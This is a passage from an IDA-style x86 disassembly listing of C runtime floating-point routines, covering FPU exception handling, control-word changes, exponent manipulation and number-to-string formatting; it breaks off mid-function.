var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_42138A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_42138A
		push	ebx
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42138A:				; CODE XREF: sub_42135F+15j
					; sub_42135F+1Aj
		test	al, 4
		jz	short loc_4213A4
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4213A4
		push	4
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_4213A4:				; CODE XREF: sub_42135F+2Dj
					; sub_42135F+33j
		test	al, bl
		jz	loc_42147E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_42147E
		push	8
		call	sub_42180C
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421456
		cmp	ecx, 400h
		jz	short loc_42142E
		cmp	ecx, 800h
		jz	short loc_421406
		cmp	ecx, eax
		jnz	loc_421476
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43C870
		fnstsw	ax
		sahf
		ja	short loc_4213FE
		fchs


loc_4213FE:				; CODE XREF: sub_42135F+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421406:				; CODE XREF: sub_42135F+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_42141E
		fld	dbl_43C860
		jmp	short loc_421426
; ---------------------------------------------------------------------------


loc_42141E:				; CODE XREF: sub_42135F+B5j
		fld	dbl_43C870
		fchs


loc_421426:				; CODE XREF: sub_42135F+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_42142E:				; CODE XREF: sub_42135F+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_421446
		fld	dbl_43C870
		jmp	short loc_42144E
; ---------------------------------------------------------------------------


loc_421446:				; CODE XREF: sub_42135F+DDj
		fld	dbl_43C860
		fchs


loc_42144E:				; CODE XREF: sub_42135F+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------


loc_421456:				; CODE XREF: sub_42135F+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43C860
		fnstsw	ax
		sahf
		ja	short loc_42146E
		fchs


loc_42146E:				; CODE XREF: sub_42135F+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_421474:				; CODE XREF: sub_42135F+A5j
					; sub_42135F+CDj ...
		fstp	qword ptr [ecx]


loc_421476:				; CODE XREF: sub_42135F+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42147E:				; CODE XREF: sub_42135F+47j
					; sub_42135F+51j
		test	al, 2
		jz	loc_421554
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421554
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421499
		mov	esi, ebx


loc_421499:				; CODE XREF: sub_42135F+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jz	loc_421542
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_42170B
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_4214E4
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421538
; ---------------------------------------------------------------------------


loc_4214E4:				; CODE XREF: sub_42135F+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jnb	short loc_4214F6
		mov	edx, ebx
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------


loc_4214F6:				; CODE XREF: sub_42135F+191j
		xor	edx, edx


loc_4214F8:				; CODE XREF: sub_42135F+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_42152C
		sub	eax, ecx


loc_42150F:				; CODE XREF: sub_42135F+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_42151A
		test	esi, esi
		jnz	short loc_42151A
		mov	esi, ebx


loc_42151A:				; CODE XREF: sub_42135F+1B3j
					; sub_42135F+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421526
		or	byte ptr [ebp+var_C+3],	80h


loc_421526:				; CODE XREF: sub_42135F+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_42150F


loc_42152C:				; CODE XREF: sub_42135F+1ACj
		test	edx, edx
		jz	short loc_421538
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_421538:				; CODE XREF: sub_42135F+183j
					; sub_42135F+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421544
; ---------------------------------------------------------------------------


loc_421542:				; CODE XREF: sub_42135F+14Ej
		mov	esi, ebx


loc_421544:				; CODE XREF: sub_42135F+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421551
		push	10h
		call	sub_42180C
		pop	ecx


loc_421551:				; CODE XREF: sub_42135F+1E8j
		and	edi, 0FFFFFFFDh


loc_421554:				; CODE XREF: sub_42135F+26j
					; sub_42135F+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_42156B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_42156B
		push	20h
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_42156B:				; CODE XREF: sub_42135F+1F9j
					; sub_42135F+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_42135F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421576(int,int,int,int,int,int,double,int)

sub_421576	proc near		; CODE XREF: sub_420FC1+2Bp
					; sub_421014+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421624
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_4215E1
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_4217E9
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42401D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4215DB
		push	esi
		call	sub_4215FE
		pop	ecx


loc_4215DB:				; CODE XREF: sub_421576+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4215E1:				; CODE XREF: sub_421576+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_4217E9
		push	[ebp+arg_0]
		call	sub_4215FE
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421576	endp


; =============== S U B	R O U T	I N E =======================================



sub_4215FE	proc near		; CODE XREF: sub_421014+7Dp
					; sub_421576+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421619
		jle	short locret_421623
		cmp	eax, 3
		jg	short locret_421623
		mov	dword_4DB278, 22h
		retn
; ---------------------------------------------------------------------------


loc_421619:				; CODE XREF: sub_4215FE+7j
		mov	dword_4DB278, 21h

locret_421623:				; CODE XREF: sub_4215FE+9j
					; sub_4215FE+Ej
		retn
sub_4215FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421624	proc near		; CODE XREF: sub_421576+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43C788


loc_42162B:				; CODE XREF: sub_421624+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421641
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43C860
		jl	short loc_42162B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421641:				; CODE XREF: sub_421624+Dj
		mov	eax, off_43C78C[ecx*8]
		retn
sub_421624	endp


; =============== S U B	R O U T	I N E =======================================



sub_421649	proc near		; CODE XREF: sub_421014+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421655
		push	5
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421655:				; CODE XREF: sub_421649+6j
		test	al, 8
		jz	short loc_42165D
		push	1
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_42165D:				; CODE XREF: sub_421649+Ej
		test	al, 4
		jz	short loc_421665
		push	2
		jmp	short loc_42166B
; ---------------------------------------------------------------------------


loc_421665:				; CODE XREF: sub_421649+16j
		test	al, 1
		jz	short loc_42166D
		push	3


loc_42166B:				; CODE XREF: sub_421649+Aj
					; sub_421649+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42166D:				; CODE XREF: sub_421649+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421676(double)

sub_421676	proc near		; CODE XREF: sub_41C679:loc_41C6FFp
					; sub_41C7BF:loc_41C845p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421688(double,int)

sub_421688	proc near		; CODE XREF: sub_42170B+82p
					; sub_42170B+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421688	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4216B1	proc near		; CODE XREF: sub_41C679+31p
					; sub_41C7BF+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4216C8
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	1
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216C8:				; CODE XREF: sub_4216B1+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_4216DA
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	2
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216DA:				; CODE XREF: sub_4216B1+11j
					; sub_4216B1+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_4216ED
		push	3
		jmp	short loc_421704
; ---------------------------------------------------------------------------


loc_4216ED:				; CODE XREF: sub_4216B1+36j
		cmp	cx, 7FF0h
		jnz	short loc_421707
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421702
		cmp	[ebp+arg_0], edx
		jz	short loc_421707


loc_421702:				; CODE XREF: sub_4216B1+4Aj
		push	4


loc_421704:				; CODE XREF: sub_4216B1+15j
					; sub_4216B1+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421707:				; CODE XREF: sub_4216B1+41j
					; sub_4216B1+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4216B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42170B(double,int)

sub_42170B	proc near		; CODE XREF: sub_42135F+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_42172B
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4217C1
; ---------------------------------------------------------------------------


loc_42172B:				; CODE XREF: sub_42170B+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42179A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421743
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42179A


loc_421743:				; CODE XREF: sub_42170B+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_42175B
		push	1
		pop	eax
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_42175B:				; CODE XREF: sub_42170B+49j
		xor	eax, eax


loc_42175D:				; CODE XREF: sub_42170B+4Ej
					; sub_42170B+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_421776
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_421770
		or	dword ptr [ebp+arg_0+4], 1


loc_421770:				; CODE XREF: sub_42170B+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_42175D
; ---------------------------------------------------------------------------


loc_421776:				; CODE XREF: sub_42170B+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_421784
		or	byte ptr [ebp+arg_0+7],	80h


loc_421784:				; CODE XREF: sub_42170B+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4217C1
; ---------------------------------------------------------------------------


loc_42179A:				; CODE XREF: sub_42170B+28j
					; sub_42170B+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_4217C1:				; CODE XREF: sub_42170B+1Bj
					; sub_42170B+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_42170B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217CC	proc near		; CODE XREF: sub_4210AC+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217DA	proc near		; CODE XREF: sub_4210AC+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217E9	proc near		; CODE XREF: sub_41C679+13p
					; sub_41C679+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_4217E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42180C	proc near		; CODE XREF: sub_42135F+1Dp
					; sub_42135F+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_421823
		fld	tbyte_43C888
		fistp	[ebp+arg_0]
		wait


loc_421823:				; CODE XREF: sub_42180C+Bj
		test	cl, 8
		jz	short loc_421838
		fstsw	ax
		fld	tbyte_43C888
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_421838:				; CODE XREF: sub_42180C+1Aj
		test	cl, 10h
		jz	short loc_421847
		fld	tbyte_43C894
		fstp	[ebp+var_8]
		wait


loc_421847:				; CODE XREF: sub_42180C+2Fj
		test	cl, 4
		jz	short loc_421855
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_421855:				; CODE XREF: sub_42180C+3Ej
		test	cl, 20h
		jz	short locret_421860
		fldpi
		fstp	[ebp+var_8]
		wait

locret_421860:				; CODE XREF: sub_42180C+4Cj
		leave
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421862	proc near		; CODE XREF: sub_41C748+Fp
		push	30000h
		push	10000h
		call	sub_424055
		pop	ecx
		pop	ecx
		retn
sub_421862	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421874	proc near		; CODE XREF: sub_4218B2:loc_4218D6j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427890
		fstp	[ebp+var_8]
		fld	dbl_427888
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_427718
		fnstsw	ax
		sahf
		jbe	short loc_4218AE
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4218AE:				; CODE XREF: sub_421874+33j
		xor	eax, eax
		leave
		retn
sub_421874	endp


; =============== S U B	R O U T	I N E =======================================



sub_4218B2	proc near		; CODE XREF: sub_41C748+5p
		push	offset aKernel32 ; "KERNEL32"
		call	near ptr 2680000h
		nop
		test	eax, eax
		jz	short loc_4218D6
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	near ptr 26A02FCh
		nop
		test	eax, eax
		jz	short loc_4218D6
		push	0
		call	eax ; sub_41C748
		retn
; ---------------------------------------------------------------------------


loc_4218D6:				; CODE XREF: sub_4218B2+Dj
					; sub_4218B2+1Dj
		jmp	sub_421874
sub_4218B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4218DB	proc near		; CODE XREF: sub_41F69F+3CBp
					; DATA XREF: sub_41C760+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41D74C
		cmp	eax, 65h
		pop	ecx
		jz	short loc_42191B


loc_4218EF:				; CODE XREF: sub_4218DB+3Ej
		inc	esi
		cmp	dword_43C504, 1
		jle	short loc_421908
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_421917
; ---------------------------------------------------------------------------


loc_421908:				; CODE XREF: sub_4218DB+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_421917:				; CODE XREF: sub_4218DB+2Bj
		test	eax, eax
		jnz	short loc_4218EF


loc_42191B:				; CODE XREF: sub_4218DB+12j
		mov	cl, byte_43C508
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_421926:				; CODE XREF: sub_4218DB+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_421926
		pop	esi
		retn
sub_4218DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421935	proc near		; CODE XREF: sub_41F69F+3E2p
					; DATA XREF: sub_41C760+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43C508
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_421951


loc_421945:				; CODE XREF: sub_421935+1Aj
		cmp	cl, dl
		jz	short loc_421951
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_421945


loc_421951:				; CODE XREF: sub_421935+Ej
					; sub_421935+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_421982


loc_421958:				; CODE XREF: sub_421935+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42196B
		cmp	cl, 65h
		jz	short loc_42196B
		cmp	cl, 45h
		jz	short loc_42196B
		inc	eax
		jmp	short loc_421958
; ---------------------------------------------------------------------------


loc_42196B:				; CODE XREF: sub_421935+27j
					; sub_421935+2Cj ...
		mov	ecx, eax


loc_42196D:				; CODE XREF: sub_421935+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42196D
		cmp	[eax], dl
		jnz	short loc_421978
		dec	eax


loc_421978:				; CODE XREF: sub_421935+40j
					; sub_421935+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_421978

locret_421982:				; CODE XREF: sub_421935+21j
		retn
sub_421935	endp


; =============== S U B	R O U T	I N E =======================================



sub_421983	proc near		; DATA XREF: sub_41C760+28o
					; ___:off_43C8B0o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jb	short loc_421998
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_421998:				; CODE XREF: sub_421983+Fj
		xor	eax, eax
		retn
sub_421983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42199B	proc near		; CODE XREF: sub_420510+430p
					; DATA XREF: sub_41C760+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4219C4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424518
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4219C4:				; CODE XREF: sub_42199B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424545
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42199B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219D9	proc near		; CODE XREF: sub_421C56+17p
					; sub_421CA0+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DB310, 0
		push	ebx
		push	esi
		jz	short loc_421A0E
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DB30C
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_421CF1
		pop	ecx
		pop	ecx
		jmp	short loc_421A46
; ---------------------------------------------------------------------------


loc_421A0E:				; CODE XREF: sub_4219D9+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4245E9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424572
		add	esp, 14h


loc_421A46:				; CODE XREF: sub_4219D9+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_421A52
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_421A52:				; CODE XREF: sub_4219D9+73j
		test	ebx, ebx
		jle	short loc_421A6A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43C508
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_421A6A:				; CODE XREF: sub_4219D9+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DB310, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41BEB0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_421A91
		mov	byte ptr [ecx],	45h


loc_421A91:				; CODE XREF: sub_4219D9+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_421AD6
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_421AA5
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_421AA5:				; CODE XREF: sub_4219D9+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_421ABC
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421ABC:				; CODE XREF: sub_4219D9+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_421AD3
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_421AD3:				; CODE XREF: sub_4219D9+E7j
		add	[ecx+1], bl


loc_421AD6:				; CODE XREF: sub_4219D9+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4219D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_421ADD	proc near		; CODE XREF: sub_421C7D+13p
					; sub_421CA0+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DB310, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_421B18
		mov	eax, dword_4DB314
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DB30C
		cmp	eax, ebx
		jnz	short loc_421B48
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_421B48
; ---------------------------------------------------------------------------


loc_421B18:				; CODE XREF: sub_421ADD+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_4245E9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424572
		add	esp, 14h


loc_421B48:				; CODE XREF: sub_421ADD+22j
					; sub_421ADD+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_421B56
